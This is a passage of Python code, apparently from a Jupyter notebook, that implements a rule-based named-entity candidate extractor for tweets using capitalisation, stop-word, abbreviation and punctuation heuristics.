cachedStopWords.remove("don")
#cachedStopWords.remove("may")
cachedTitles = ["mr.","mr","mrs.","mrs","miss","ms","sen.","dr","dr.","prof.","president","congressman"]
chat_word_list=["please","4get","ooh","idk","oops","yup","stfu","uhh","2b","dear","yay","btw","ahhh","b4","ugh","ty","cuz","coz","sorry","yea","asap","ur","bs","rt","lfmao","slfmao","u","r","nah","umm","ummm","thank","thanks","congrats","whoa","rofl","ha","ok","okay","hey","hi","huh","ya","yep","yeah","fyi","duh","damn","lol","omg","congratulations","fuck","wtf","wth","aka","wtaf","xoxo","rofl","imo","wow","fck","haha","hehe","hoho"]
#string.punctuation.extend('“','’','”')
#---------------------Existing Lists--------------------
# In[300]:
class SatadishaModule():
def __init__(self):
print("hello")
#self.batch=batch
#self.batch=self.batch[:3000:]
self.counter=0
#self.extract()
def flatten(self,mylist, outlist,ignore_types=(str, bytes, int, ne.NE_candidate)):
if mylist !=[]:
for item in mylist:
#print not isinstance(item, ne.NE_candidate)
if isinstance(item, list) and not isinstance(item, ignore_types):
self.flatten(item, outlist)
else:
if isinstance(item,ne.NE_candidate):
item.phraseText=item.phraseText.strip(' \t\n\r')
item.reset_length()
else:
if type(item)!= int:
item=item.strip(' \t\n\r')
outlist.append(item)
return outlist
def normalize(self,word):
strip_op=word
strip_op=(((strip_op.lstrip(string.punctuation)).rstrip(string.punctuation)).strip()).lower()
strip_op=(strip_op.lstrip('“‘’”')).rstrip('“‘’”')
#strip_op= self.rreplace(self.rreplace(self.rreplace(strip_op,"'s","",1),"’s","",1),"’s","",1)
if strip_op.endswith("'s"):
li = strip_op.rsplit("'s", 1)
return ''.join(li)
elif strip_op.endswith("’s"):
li = strip_op.rsplit("’s", 1)
return ''.join(li)
else:
return strip_op
#@profile
def extract(self,batch,batch_number):
#df = read_csv('eric_trump.csv', index_col='ID', header=0, encoding='utf-8')
print("Phase I extracting now")
time_in=time.time()
self.batch=batch
#output.csv
#df_out= DataFrame(columns=('tweetID', 'sentID', 'hashtags', 'user', 'usertype', 'TweetSentence', 'phase1Candidates'))
self.df_out= pd.DataFrame(columns=('tweetID', 'sentID', 'hashtags', 'user', 'TweetSentence', 'phase1Candidates','start_time','entry_batch','annotation','annotated'))
if(self.counter==0):
#self.df_out= pd.DataFrame(columns=('tweetID', 'sentID', 'hashtags', 'user', 'TweetSentence', 'phase1Candidates','correct_candidates_tweet'))
#dict1 = {'tweetID':0, 'sentID':0, 'hashtags':'first', 'user':'user', 'TweetSentence':'sentence', 'phase1Candidates':'phase1Out','start_time':'now','entry_batch':'batch_number'}
self.CTrie=trie.Trie("ROOT")
self.ME_EXTR=Mention.Mention_Extraction()
self.phase2stopWordList=[]
#self.df_out= pd.DataFrame({'tweetID':0, 'sentID':0, 'hashtags':'first', 'user':'user', 'TweetSentence':'sentence', 'phase1Candidates':'phase1Out','start_time':'now','entry_batch':'batch_number'}, index=[0,])
#%%timeit -o
#module_capital_punct.main:
'''I am running this for 100 iterations for testing purposes. Of course you no longer need this for loop as you are
#running one tuple at a time'''
#if(self.counter==0):
#initializing candidateBase with a dummy node
#self.interCWSGap={}
#candidateBase={}
#NE_container=DataFrame(columns=('candidate', 'frequency', 'capitalized', 'start_of_sentence', 'abbreviation', 'all_capitalized','is_csl','title','has_number','date_indicator','is_apostrophed','has_intermediate_punctuation','ends_like_verb','ends_like_adverb','change_in_capitalization','has_topic_indicator'))
count=0
ne_count=0
userMention_count=0
#token_count=0
NE_list_phase1=[]
UserMention_list=[]
df_holder=[]
#--------------------------------------PHASE I---------------------------------------------------
for index, row in self.batch.iterrows():
now = datetime.datetime.now()
#now=str(now.hour)+":"+str(now.minute)+":"+str(now.second)
#hashtags=str(row['Discussion'])
hashtags=str(row['HashTags'])
user=str(row['User'])
#userType=str(row['User Type'])
tweetText=str(row['TweetText'])
#correct_candidates_tweet=str(row['Mentions'])
#print(str(index))
annot_raw=str(row['mentions_other'])
is_annotated=str(row['annotated'])
split_list=annot_raw.split(";")
#split_listFilter=list(filter(lambda element: element.strip()!='', split_list))
split_listFilter=list(filter(None, split_list))
#annotations in list of list structure
filtered_2_times=list(map(lambda element: list(filter(None, element.split(','))), split_list))
#capitalization module
#if all words are capitalized:
# print(index)
# if tweetText.isupper():
# print(index,tweetText)
# dict1 = {'tweetID':str(index), 'sentID':str(0), 'hashtags':hashtags, 'user':user, 'TweetSentence':tweetText, 'phase1Candidates':"nan",'start_time':now,'entry_batch':batch_number,'annotation':filtered_2_times[0]}
# df_holder.append(dict1)
# elif tweetText.islower():
# print(index,tweetText)
# print("",end="")
# dict1 = {'tweetID':str(index), 'sentID':str(0), 'hashtags':hashtags, 'user':user, 'TweetSentence':tweetText, 'phase1Candidates':"nan",'start_time':now,'entry_batch':batch_number,'annotation':filtered_2_times[0]}
# df_holder.append(dict1)
#else:
ne_List_final=[]
userMention_List_final=[]
#pre-modification: returns word list split at whitespaces; retains punctuation
tweetSentences=list(filter (lambda sentence: len(sentence)>1, tweetText.split('\n')))
tweetSentenceList_inter=self.flatten(list(map(lambda sentText: sent_tokenize(sentText.lstrip().rstrip()),tweetSentences)),[])
tweetSentenceList=list(filter (lambda sentence: len(sentence)>1, tweetSentenceList_inter))
#filtering nan values
if(len(filtered_2_times[0])==1):
if(filtered_2_times[0][0]=='nan'):
filtered_2_times[0]=[]
# print(index,filtered_2_times,tweetSentenceList)
for sen_index in range(len(tweetSentenceList)):
sentence=tweetSentenceList[sen_index]
# uncomment this
# is tweet annotated one or not
if(str(row['annotated'])=='YES'):
modified_annotations=[self.normalize(candidate)for candidate in filtered_2_times[sen_index]]
annotation=[]
for candidate in modified_annotations:
if(candidate=="nan"):
pass
else:
annotation.append(candidate)
else:
annotation=['mert']
# for i in filtered_2_times[sen_index]:
# if(i=="nan"):
#print(sentence)
#print(sen_index)
#tweetWordList= list(filter(lambda word:(word.strip(string.punctuation))!="",sentence.split()))
phase1Out=""
phase1_candidates_list=[]
if((not tweetText.isupper()) &(not tweetText.islower())):
tempList=[]
tempWordList=sentence.split()
#print(tempWordList)
for word in tempWordList:
temp=[]
# if(temp1):
# temp=list(map(lambda elem: elem+'..', temp1[:-1]))
# temp.append(temp1[-1])
if (("?" in word)&(not word.endswith("?"))):
temp1=list(filter(lambda elem: elem!='',word.split("?")))
if(temp1):
temp=list(map(lambda elem: elem+'?', temp1[:-1]))
temp.append(temp1[-1])
elif ((":" in word)&(not word.endswith(":"))):
temp1=list(filter(lambda elem: elem!='',word.split(":")))
if(temp1):
temp=list(map(lambda elem: elem+':', temp1[:-1]))
temp.append(temp1[-1])
elif (("," in word)&(not word.endswith(","))):
#temp=list(filter(lambda elem: elem!='',word.split(",")))
temp1=list(filter(lambda elem: elem!='',word.split(",")))
if(temp1):
temp=list(map(lambda elem: elem+',', temp1[:-1]))
temp.append(temp1[-1])
elif (("/" in word)&(not word.endswith("/"))):
temp1=list(filter(lambda elem: elem!='',word.split("/")))
if(temp1):
temp=list(map(lambda elem: elem+'/', temp1[:-1]))
temp.append(temp1[-1])
elif "..." in word:
#print("here")
temp=list(filter(lambda elem: elem!='',word.split("...")))
# if(temp1):
# temp=list(map(lambda elem: elem+'...', temp1[:-1]))
# temp.append(temp1[-1])
elif ".." in word:
temp=list(filter(lambda elem: elem!='',word.split("..")))
#print(index, temp)
else:
#if word not in string.punctuation:
temp=[word]
if(temp):
tempList.append(temp)
tweetWordList=self.flatten(tempList,[])
#print(tweetWordList)
#token_count+=len(tweetWordList)
#returns position of words that are capitalized
#print(tweetWordList)
tweetWordList_cappos = list(map(lambda element : element[0], filter(lambda element : self.capCheck(element[1]), enumerate(tweetWordList))))
#print(tweetWordList_cappos)
#returns list of stopwords in tweet sentence
combined_list_here=([]+cachedStopWords+article_list+prep_list+chat_word_list)
#combined_list_here.remove("the")
tweetWordList_stopWords=list(filter(lambda word: ((word[0].islower()) & (((word.strip()).strip(string.punctuation)).lower() in combined_list_here))|(word.strip() in string.punctuation)|(word.startswith('@')), tweetWordList))
#returns list of @userMentions
userMentionswPunct=list(filter(lambda phrase: phrase.startswith('@'), tweetWordList))
userMentions=list(map(lambda mention: mention.rstrip(string.punctuation), userMentionswPunct))
userMention_count+=len(userMentions)
userMention_List_final+=userMentions
'''#function to process and store @ user mentions---- thread 1
#print(userMention_List_final)
threading.Thread(target=self.ME_EXTR.ComputeAll, args=(userMention_List_final,)).start()'''
#non @usermentions are processed in this function to find non @, non hashtag Entities---- thread 2
ne_List_allCheck=[]
#if(len(tweetWordList)>len(tweetWordList_cappos)):
#print(len(tweetWordList),str(len(tweetWordList_cappos)),str(len(tweetWordList_stopWords)))
if((len(tweetWordList))>(len(tweetWordList_cappos))):
#q = queue.Queue()
#threading.Thread(target=self.trueEntity_process, args=(tweetWordList_cappos,tweetWordList,q)).start()
ne_List_allCheck= self.trueEntity_process(tweetWordList_cappos,tweetWordList)
#ne_List_allCheck= q.get()
ne_count+=len(ne_List_allCheck)
ne_List_final+=ne_List_allCheck
#write row to output dataframe
if(len(tweetWordList)==len(tweetWordList_cappos)):
phase1Out="nan"
phase1_candidates_list=[]
if(len(ne_List_allCheck)>0):
for candidate in ne_List_allCheck:
position = '*'+'*'.join(str(v) for v in candidate.position)
position=position+'*'
candidate.set_sen_index(sen_index)
phase1Out+=(((candidate.phraseText).lstrip(string.punctuation)).strip())+ '::'+str(position)+"||"
phase1_candidates_list.append((((candidate.phraseText).lstrip(string.punctuation)).strip()))
else:
phase1Out="nan"
phase1_candidates_list=[]
#print(self.df_out.columns)
dict1 = {'tweetID':str(index), 'sentID':str(sen_index), 'hashtags':hashtags, 'user':user, 'TweetSentence':sentence, 'phase1Candidates':phase1Out,'start_time':now,'entry_batch':batch_number,'annotation':annotation,'annotated':is_annotated,'phase1_candidates_list':phase1_candidates_list}
df_holder.append(dict1)
#self.df_out.append(outrow)
#self.df_out=self.df_out.append(outrow,ignore_index=True)
for candidate in ne_List_final:
#self.insert_dict (candidate,self.NE_container,candidateBase,index,candidate.sen_index,batch_number)
candidateText=(((candidate.phraseText.lstrip(string.punctuation)).rstrip(string.punctuation)).strip(' \t\n\r')).lower()
candidateText=(candidateText.lstrip('“‘’”')).rstrip('“‘’”')
candidateText= self.rreplace(self.rreplace(self.rreplace(candidateText,"'s","",1),"’s","",1),"’s","",1)
combined=[]+cachedStopWords+cachedTitles+prep_list+chat_word_list+article_list+day_list
if not ((candidateText in combined)|(candidateText.isdigit())|(self.is_float(candidateText))):
self.CTrie.__setitem__(candidateText.split(),len(candidateText.split()),candidate.features,batch_number)
# if(index==191):
# print(sentence)
# self.printList(ne_List_final)
#if(userMention_List_final):
# print(userMention_List_final)
NE_list_phase1+=ne_List_final
UserMention_list+=userMention_List_final
#print ("\n")
#fieldnames=['candidate','freq','length','cap','start_of_sen','abbrv','all_cap','is_csl','title','has_no','date','is_apostrp','has_inter_punct','ends_verb','ends_adverb','change_in_cap','topic_ind','entry_time','entry_batch','@mention']
#updated_NE_container=[]
'''#Updating trie with @mention info
self.CTrie.updateTrie("",self.ME_EXTR)'''
time_out=time.time()
#for display purposes Iterating through the trie
'''candidateBase= self.CTrie.__iter__()
for node in candidateBase:
print(node)'''
'''for key in self.NE_container.keys():
val=self.NE_container[key]+[str(ME_EXTR.checkInDictionary(key))]
#index+=1
#updated_NE_container[key]=val
dict1 = {'candidate':key, 'freq':val[0],'length':val[1],'cap':val[2],'start_of_sen':val[3],'abbrv':val[4],'all_cap':val[5],'is_csl':val[6],'title':val[7],'has_no':val[8],'date':val[9],'is_apostrp':val[10],'has_inter_punct':val[11],'ends_verb':val[12],'ends_adverb':val[13],'change_in_cap':val[14],'topic_ind':val[15],'entry_time':val[16],'entry_batch':val[17],'@mention':val[18]}
updated_NE_container.append(dict1)'''
'''with open('candidate_base.csv', 'w') as output_candidate:
#with open('candidates.csv', 'w') as output_candidate:
writer = csv.writer(output_candidate)
writer.writerow(fieldnames)
for k, v in updated_NE_container.items():
writer.writerow([k] + v)'''
#print("Total number of tokens processed: "+str(token_count))
#print ("Total number of candidate NEs extracted: "+str(len(candidateBase)))
#print(self.NE_container.items())
#freqs=pd.read_csv('candidate_base.csv', encoding = 'utf-8',delimiter=',')
#freqs = pd.DataFrame(updated_NE_container, columns=fieldnames)
#freqs = pd.DataFrame()
#freqs=pd.DataFrame(list(self.NE_container.items()), orient='index')#columns=fieldnames)
self.append_rows(df_holder)
self.counter=self.counter+1
#return (copy.deepcopy(self.df_out),copy.deepcopy(freqs),time_in,time_out)
return (self.df_out,self.CTrie,time_in,time_out,self.phase2stopWordList)
#return sorted_candidateBase
#@profile
def append_rows(self,df_holder):
df = pd.DataFrame(df_holder)
self.df_out=self.df_out.append(df)
self.df_out.to_csv('tweet_base.csv' ,sep=',', encoding='utf-8')
def rreplace(self,s, old, new, occurrence):
if s.endswith(old):
li = s.rsplit(old, occurrence)
return new.join(li)
else:
return s
def stopwordReplace(self, candidate):
combined=cachedStopWords+prep_list+article_list+day_list+chat_word_list
if(candidate.features[ne.is_quoted]):
words=self.normalize(candidate.phraseText).split()
flag=False
swList=[]
for word in words:
if(word in combined):
swList.append(word)
else:
flag=True
#print(candidate.phraseText,swList,flag)
if(flag):
self.phase2stopWordList=list(set(self.phase2stopWordList)|set(swList))
#self.phase2stopWordList.extend(swList)
else:
candidate.phraseText=""
return candidate
wordlist=list(filter(lambda word: word!='', candidate.phraseText.split()))
pos=candidate.position
#print(candidate.phraseText,wordlist,pos)
start=0
flag=False
while(start!=len(pos)):
if(wordlist[start].lstrip(string.punctuation).rstrip(string.punctuation).strip().lower() not in combined):
#flag=True
break
start+=1
end=len(pos)-1
while(end>=0):
#print(wordlist[end])
if(wordlist[end].lstrip(string.punctuation).rstrip(string.punctuation).strip() not in combined):
#flag=True
break
end-=1
#print(start,end)
updated_pos=pos[start:(end+1)]
updated_phrase=' '.join(wordlist[start:(end+1)])
#print(updated_pos,updated_phrase)
candidate.phraseText=updated_phrase
candidate.position=updated_pos
return candidate
# In[301]:
#candidate: 'frequency','length', 'capitalized', 'start_of_sentence', 'abbreviation', 'all_capitalized','is_csl','title','has_number','date_indicator','is_apostrophed','has_intermediate_punctuation','ends_like_verb','ends_like_adverb','change_in_capitalization','has_topic_indicator'
def is_float(self,string):
try:
f=float(string)
if(f==0.0):
return True
else:
return ((f) and (string.count(".")==1))
#return True# True if string is a number with a dot
except ValueError: # if string is not a number
return False
def insert_dict(self,candidate,NE_container,candidateBase,tweetID,sentenceID,batch):
key=(((candidate.phraseText.lstrip(string.punctuation)).rstrip(string.punctuation)).strip(' \t\n\r')).lower()
key=(key.lstrip('“‘’”')).rstrip('“‘’”')
key= self.rreplace(self.rreplace(self.rreplace(key,"'s","",1),"’s","",1),"’s","",1)
combined=[]+cachedStopWords+cachedTitles+prep_list+chat_word_list+article_list+day_list
try:
if ((key in combined)|(key.isdigit())|(self.is_float(key))):
return
except TypeError:
print(key)
tweetID=str(tweetID)
sentenceID=str(sentenceID)
if key in self.NE_container:
feature_list=self.NE_container[key]
feature_list[0]+=1
for index in [0,1,2,3,4,5,6,7,9,10,11,13,14]:
if (candidate.features[index]==True):
feature_list[index+2]+=1
for index in [8,12]:
if (candidate.features[index]!=-1):
feature_list[index+2]+=1
else:
now = datetime.datetime.now()
now=str(now.hour)+":"+str(now.minute)+":"+str(now.second)
feature_list=[0]*17
feature_list[0]+=1
feature_list[1]=candidate.length
#call background process to check for non capitalized occurences
for index in [0,1,2,3,4,5,6,7,9,10,11,13,14]:
if (candidate.features[index]==True):
feature_list[index+2]+=1
for index in [8,12]:
if (candidate.features[index]!=-1):
feature_list[index+2]+=1
feature_list.append(now)
feature_list.append(batch)
self.NE_container[key] = feature_list
#insert in candidateBase
'''if key in candidateBase.keys():
#candidateBase[key]=candidateBase[key]+[str(tweetID)+":"+str(sentenceID)]
if(tweetID in candidateBase[key]):
if(sentenceID in candidateBase[key][tweetID] ):
candidateBase[key][tweetID][sentenceID]=candidateBase[key][tweetID][sentenceID]+1
else:
candidateBase[key][tweetID][sentenceID]=1
else:
candidateBase[key][tweetID]={}
candidateBase[key][tweetID][sentenceID]=1
#c=[(y,str(idx)) for idx,y in enumerate( a) if y not in b]
#candidateBase[key]
else:
#candidateBase[key]=[str(tweetID)+":"+str(sentenceID)]
candidateBase[key]={}
candidateBase[key][tweetID]={}
candidateBase[key][tweetID][sentenceID]=1'''
return
# In[302]:
def printList(self,mylist):
print("["),
#print "[",
for item in mylist:
if item != None:
if isinstance(item,ne.NE_candidate):
item.print_obj()
#print (item.phraseText)
else:
print (item+",", end="")
#print item+",",
#print "]"
print("]")
return
# In[303]:
# In[304]:
def consecutive_cap(self,tweetWordList_cappos,tweetWordList):
output=[]
#identifies consecutive numbers in the sequence
#print(tweetWordList_cappos)
for k, g in groupby(enumerate(tweetWordList_cappos), lambda element: element[0]-element[1]):
output.append(list(map(itemgetter(1), g)))
count=0
if output:
final_output=[output[0]]
for first, second in (zip(output,output[1:])):
#print(first,second)
#print(tweetWordList[first[-1]])
if ((not (tweetWordList[first[-1]]).endswith('"'))&((second[0]-first[-1])==2) & (tweetWordList[first[-1]+1].lower() in prep_list)):
(final_output[-1]).extend([first[-1]+1]+second)
elif((not (tweetWordList[first[-1]].endswith('"')))&((second[0]-first[-1])==3) & (tweetWordList[first[-1]+1].lower() in prep_list)& (tweetWordList[first[-1]+2].lower() in article_list)):
(final_output[-1]).extend([first[-1]+1]+[first[-1]+2]+second)
else:
final_output.append(second)
#merge_positions.append(False)
else:
final_output=[]
return final_output
# In[305]:
#basically splitting the original NE_candidate text and building individual object from each text snippet
def build_custom_NE(self,phrase,pos,prototype,feature_index,feature_value):
#print("Enters")
position=pos
custom_NE= ne.NE_candidate(phrase,position)
for i in range(15):
custom_NE.set_feature(i,prototype.features[i])
custom_NE.set_feature(feature_index,feature_value)
if (feature_index== ne.is_csl) & (feature_value== True):
custom_NE.set_feature(ne.start_of_sentence, False)
custom_NE=self.entity_info_check(custom_NE)
return custom_NE
# In[306]:
def abbrv_algo(self,ne_element):
'''abbreviation algorithm
trailing apostrophe:
|period:
| multiple letter-period sequence:
| all caps
| non period:
| ?/! else drop apostrophe
else:
unchanged
'''
phrase= ne_element.phraseText
#print("=>"+phrase)
#since no further split occurs we can set remaining features now
ne_element.set_feature(ne.capitalized, True)
if ne_element.phraseText.isupper():
ne_element.set_feature(ne.all_capitalized, True)
else:
ne_element.set_feature(ne.all_capitalized, False)
abbreviation_flag=False
p=re.compile(r'[^a-zA-Z\d\s]$')
match_list = p.findall(phrase)
if len(match_list)>0:
#print("Here")
if phrase.endswith('.'):
#print("Here")
p1= re.compile(r'([a-zA-Z][\.]\s*)')
match_list = p1.findall(phrase)
if ((len(match_list)>1) & (len(phrase)<6)):
#print ("1. Found abbreviation: "+phrase)
abbreviation_flag= True
else:
if (phrase[-2]!=' '):
phrase= phrase[:-1]
else:
#if phrase.endswith(string.punctuation):
if (phrase[-2]!=' '):
phrase= phrase[:-1]
#if not (phrase.endswith('?')|phrase.endswith('!')|phrase.endswith(')')|phrase.endswith('>')):
#phrase= phrase[:-1]
else:
p2=re.compile(r'([^a-zA-Z0-9_\s])')
match_list = p2.findall(phrase)
if ((len(match_list)==0) & (phrase.isupper()) & (len(phrase)<7)& (len(phrase)>1)):
#print ("2. Found abbreviation!!: "+phrase)
abbreviation_flag= True
else:
#print("Here-> "+phrase)
p3= re.compile(r'([A-Z][.][A-Z])')
p4= re.compile(r'\s')
match_list = p3.findall(phrase)
match_list1 = p4.findall(phrase)
if ((len(match_list)>0) & (len(match_list1)==0)):
abbreviation_flag= True
#print ("3. Found abbreviation!!: "+phrase)
#element= ne.NE_candidate(phrase.strip())
ne_element.phraseText=phrase
ne_element.reset_length()
ne_element.set_feature(ne.abbreviation, abbreviation_flag)
return ne_element
# In[307]:
def punct_clause(self,NE_phrase_in):
NE_phrases=self.entity_info_check(NE_phrase_in)
cap_phrases=NE_phrases.phraseText.strip()
final_lst=[]
#print (cap_phrases,NE_phrases.features[ne.date_indicator])
if (re.compile(r'[^a-zA-Z0-9_\s]')).findall(cap_phrases):
#case of intermediate punctuations: handles abbreviations
p1= re.compile(r'(?:[a-zA-Z0-9][^a-zA-Z0-9_\s]\s*)')
match_lst = p1.findall(cap_phrases)
#print(match_lst)
if match_lst:
index= (list( p1.finditer(cap_phrases) )[-1]).span()[1]
p= re.compile(r'[^a-zA-Z\d\s]')
match_list = p.findall(cap_phrases)
p2=re.compile(r'[^a-zA-Z\d\s]$') #ends with punctuation
if ((len(match_list)>0)&(len(match_lst)>0)&((len(match_list)-len(match_lst))>0)):
if (p2.findall(cap_phrases)):
#only strips trailing punctuations, not intermediate ones following letters
cap_phrases = cap_phrases[0:index]+re.sub(p, '', cap_phrases[index:])
NE_phrases.phraseText= cap_phrases
#comma separated NEs
#lst=filter(lambda(word): word!="", re.split('[,]', cap_phrases))
#print ("=>"+ cap_phrases)
start_of_sentence_fix=NE_phrases.features[ne.start_of_sentence]
#temp=re.split("\...", cap_phrases)
#inter=self.flatten(list(map(lambda elem: re.split('[,:!…]',elem),temp)),[])
#print("'''",inter)
combined=cachedStopWords+prep_list+article_list+day_list+chat_word_list
splitList=re.split('["‘’“”()/,;:!?…]',cap_phrases)
splitList=list(filter(lambda word: ((word!="")&(word.lstrip(string.punctuation).rstrip(string.punctuation).strip().lower() not in combined)), splitList))
#print("==",splitList)
wordlstU=list(map(lambda word: word.strip().strip(string.punctuation), splitList))
wordlstU=list(filter(lambda word: word!="", wordlstU))
wordlst=list(filter(lambda word: ((word.strip().strip(string.punctuation))[0].isupper()|(word.strip().strip(string.punctuation))[0].isdigit()), wordlstU))
#print(":::",wordlst)
if ((NE_phrases.features[ne.date_indicator]==False)):
#print("hehe")
if(len(splitList)>1):
if(len(wordlst)>0):
#print("here::")
pos=NE_phrases.position
combined=[]
prev=0
for i in range(len(wordlst)):
word=wordlst[i]
word_len=len(list(filter(lambda individual_word: individual_word!="", re.split('[ ]', word))))
word_pos=pos[(prev):(prev+word_len)]
prev=prev+word_len
combined+=[[word]+word_pos]
lst_nsw=list(filter(lambda element: (((str(element[0])).strip(string.punctuation).lower() not in combined)& (not (str(element[0])).strip(string.punctuation).isdigit()) & (len(str(element[0]))>1)) ,combined))
#print ("++",lst_nsw)
if(lst_nsw):
final_lst= list(map(lambda element:self.build_custom_NE(str(element[0]),element[1:],NE_phrases,ne.is_csl,True), lst_nsw))
final_lst[0].set_feature(ne.start_of_sentence, NE_phrases.features[ne.start_of_sentence])
else:
final_lst=[]
else:
NE_phrases.set_feature(ne.is_csl,False)
final_lst=[NE_phrases]
else:
NE_phrases.set_feature(ne.is_csl,False)
final_lst=[NE_phrases]
#check abbreviation
#print("++",final_lst)
if(final_lst):
final_lst= list(map(lambda phrase: self.abbrv_algo(phrase), final_lst))
#print(lst)
return final_lst
# In[308]:
#%%timeit -o
def f(self,y,sflag,quoteFlag,tweetWordList):
combined=[]+cachedStopWords+cachedTitles+prep_list+chat_word_list+article_list+day_list
#print(sflag)
if sflag:
left=""
right=""
lp=(-1)
rp=(-1)
i=0
j=len(y)-1
flag1=False
flag2=False
x=[]
while (((flag1==False)|(flag2==False))&((j-i)>0)):
if(flag1==False):
left=(((tweetWordList[y[i]].strip('“‘"’”')).strip("'").lstrip(string.punctuation)).rstrip(string.punctuation)).lower()
if(left not in combined):
flag1=True
lp=i
else:
i+=1
if(flag2==False):
right=(((tweetWordList[y[j]].strip('“‘"’”')).strip("'").lstrip(string.punctuation)).rstrip(string.punctuation)).lower()
if(right not in combined):
flag2=True
rp=j
else:
j-=1
#print(flag1,flag2)
#if((flag1==False)|(flag2==False)):
# while (((j-i)!=0)|((flag1==False)|(flag2==False))):
if(flag1==False):
left=(((tweetWordList[y[i]].strip('“‘"’”')).strip("'").lstrip(string.punctuation)).rstrip(string.punctuation)).lower()
#print(left)
if(left not in combined):
flag1=True
lp=i
else:
i+=1
if(flag2==False):
right=(((tweetWordList[y[j]].strip('“‘"’”')).strip("'").lstrip(string.punctuation)).rstrip(string.punctuation)).lower()
if(right not in combined):
flag2=True
rp=j
else:
j-=1
#print(lp,rp)
if(lp==rp):
if(lp!=-1):
x=[y[lp]]
else:
x=y[lp:(rp+1)]
else:
x=y
#print(x)
if(x):
list1=list(map(lambda word: tweetWordList[word], x))
phrase=" ".join(e for e in list1)
#print(phrase)
phrase1="".join(list1)
#if not ((phrase[0].isdigit()) & (len(x)==1)):
if not (phrase1.strip().isdigit()):
NE_phrase= ne.NE_candidate(phrase.strip(),x)
if 0 in x:
NE_phrase.set_feature(ne.start_of_sentence,True)
else:
NE_phrase.set_feature(ne.start_of_sentence,False)
NE_phrase.set_feature(ne.is_quoted,quoteFlag)
else:
NE_phrase= ne.NE_candidate("JUST_DIGIT_ERROR",[])
else:
NE_phrase= ne.NE_candidate("JUST_DIGIT_ERROR",[])
#print("====>>",NE_phrase.phraseText)
return NE_phrase
# In[309]:
def capCheck(self,word):
combined_list=[]+cachedStopWords+prep_list+chat_word_list+article_list
if word.startswith('@'):
return False
elif "<Hashtag" in word:
return False
#elif (((word.strip('“‘’”')).lstrip(string.punctuation)).rstrip(string.punctuation)).lower() in combined_list:
elif (((word.strip('“‘’”')).lstrip(string.punctuation)).rstrip(string.punctuation)) in combined_list:
# if((word=="The")|(word=="THE")):
# return True
# else:
return True
elif word[0].isdigit():
return True
else:
p=re.compile(r'^[\W]*[A-Z]')
l= p.match(word)
if l:
return True
else:
return False
# In[310]:
def title_check(self,ne_phrase):
title_flag=False
words=ne_phrase.phraseText.split()
for word in words:
if word.lower() in cachedTitles:
title_flag= True
break
ne_phrase.set_feature(ne.title,title_flag)
return ne_phrase
# In[311]:
def entity_info_check(self,ne_phrase):
flag1=False #has number
flag3=False
flag_ind=[] #is number
month_ind=[]
date_num_holder=[]
words=ne_phrase.phraseText.split()
for word in words:
word=(word.strip()).rstrip(string.punctuation).lower()
punct_flag=False
for char in word:
if ((char in string.punctuation)|(char in ['“','‘','’','”','…'])):
punct_flag=True
break
#if ((not word.isalpha())& (not "'s" in word) & (not "’s" in word)):'‘“"’”
if ((not word.isalpha())& (not punct_flag)):
flag_ind+=[True]
if word.isdigit():
date_num_holder+=['num']
else:
date_num_holder+=['alpha']
else:
flag_ind+=[False]
if word in month_list:
month_ind+=[True]
date_num_holder+=['month']
elif word in day_list:
date_num_holder+=['day']
elif word in prep_list:
date_num_holder+=['preposition']
elif word in article_list:
date_num_holder+=['article']
else:
#print("=>"+word)
date_num_holder+=['string']
if True in flag_ind:
flag1=True
if True in month_ind:
flag3=True
ne_phrase.set_feature(ne.has_number,flag1)
ne_phrase.set_feature(ne.date_indicator,flag3)
ne_phrase.set_date_num_holder(date_num_holder)
return ne_phrase
# In[312]:
#removing commonly used expletives, enunciated chat words and other common words (like days of the week, common expressions)
def slang_remove(self,ne_phrase):
phrase=(ne_phrase.phraseText.strip()).rstrip(string.punctuation).lower()
p1= re.compile(r'([A-Za-z]+)\1\1{1,}')
match_lst = p1.findall(phrase)
if phrase in article_list:
return True
elif phrase in day_list:
return True
#elif phrase in month_list:
#return True
elif match_lst:
return True
else:
return False
# In[313]:
def apostrope_check(self,ne_phrase):
apostrophe="'s"
bad_apostrophe="’s"
phrase=(ne_phrase.phraseText.strip()).rstrip(string.punctuation).lower()
if (apostrophe in phrase):
if (phrase.endswith(apostrophe)):
ne_phrase.set_feature(ne.is_apostrophed,0)
else:
#print(phrase.find(apostrophe))
ne_phrase.set_feature(ne.is_apostrophed,phrase.find(apostrophe))
elif (bad_apostrophe in phrase):
if phrase.endswith(bad_apostrophe):
ne_phrase.set_feature(ne.is_apostrophed,0)
else:
#print(phrase.find(apostrophe))
ne_phrase.set_feature(ne.is_apostrophed,phrase.find(bad_apostrophe))
else:
ne_phrase.set_feature(ne.is_apostrophed,-1)
return ne_phrase
# In[314]:
def punctuation_check(self,ne_phrase):
holder=[]
punctuation_holder=[]
flag_holder=[]
phrase=(ne_phrase.phraseText.strip()).rstrip(string.punctuation).lower()
for i in range(len(phrase)):
if (phrase[i] in string.punctuation):
holder+=[i]
for i in holder:
if ((i<(len(phrase)-1)) & (phrase[i]=="'") & (phrase[i+1]=="s")):
flag_holder+=[False]
elif ((i==(len(phrase)-1)) & (phrase[i]=="'")):
flag_holder+=[False]
else:
flag_holder+=[True]
punctuation_holder+=[i]
#print(flag_holder)
ne_phrase.set_punctuation_holder(punctuation_holder)
if True in flag_holder:
ne_phrase.set_feature(ne.has_intermediate_punctuation,True)
else:
ne_phrase.set_feature(ne.has_intermediate_punctuation,False)
return ne_phrase
# In[315]:
def tense_check(self,ne_phrase):
words=(((ne_phrase.phraseText.strip()).rstrip(string.punctuation)).lower()).split()
verb_flag=False
adverb_flag=False
if (len(words)==1):
if words[0].endswith("ing"):
verb_flag=True
if words[0].endswith("ly"):
adverb_flag=True
ne_phrase.set_feature(ne.ends_like_verb,verb_flag)
ne_phrase.set_feature(ne.ends_like_adverb,adverb_flag)
return ne_phrase
# In[316]:
def capitalization_change(self,ne_element):
phrase=((ne_element.phraseText.lstrip(string.punctuation)).rstrip(string.punctuation)).strip()
val=-1
topic_indicator=False
p1= re.compile(r'[A-Z]*\s*[A-Z]{4,}[^A-Za-z]*\s+[A-Za-z]+') #BREAKING: Toronto Raptors
p2= re.compile(r'([A-Z]{1}[a-z]+)+[^A-Za-z]*\s+[A-Z]{4,}') #The DREAMIEST LAND
match_lst1 = p1.findall(phrase)
match_lst2 = p2.findall(phrase)
if (match_lst1):
if not phrase.isupper():
p3=re.compile(r'[A-Z]*\s*[A-Z]{4,}[^A-Za-z]*\s+')
val=list(p3.finditer(phrase))[-1].span()[1]
if(":" in phrase):
topic_indicator=True
ne_element.set_feature(ne.change_in_capitalization,val)
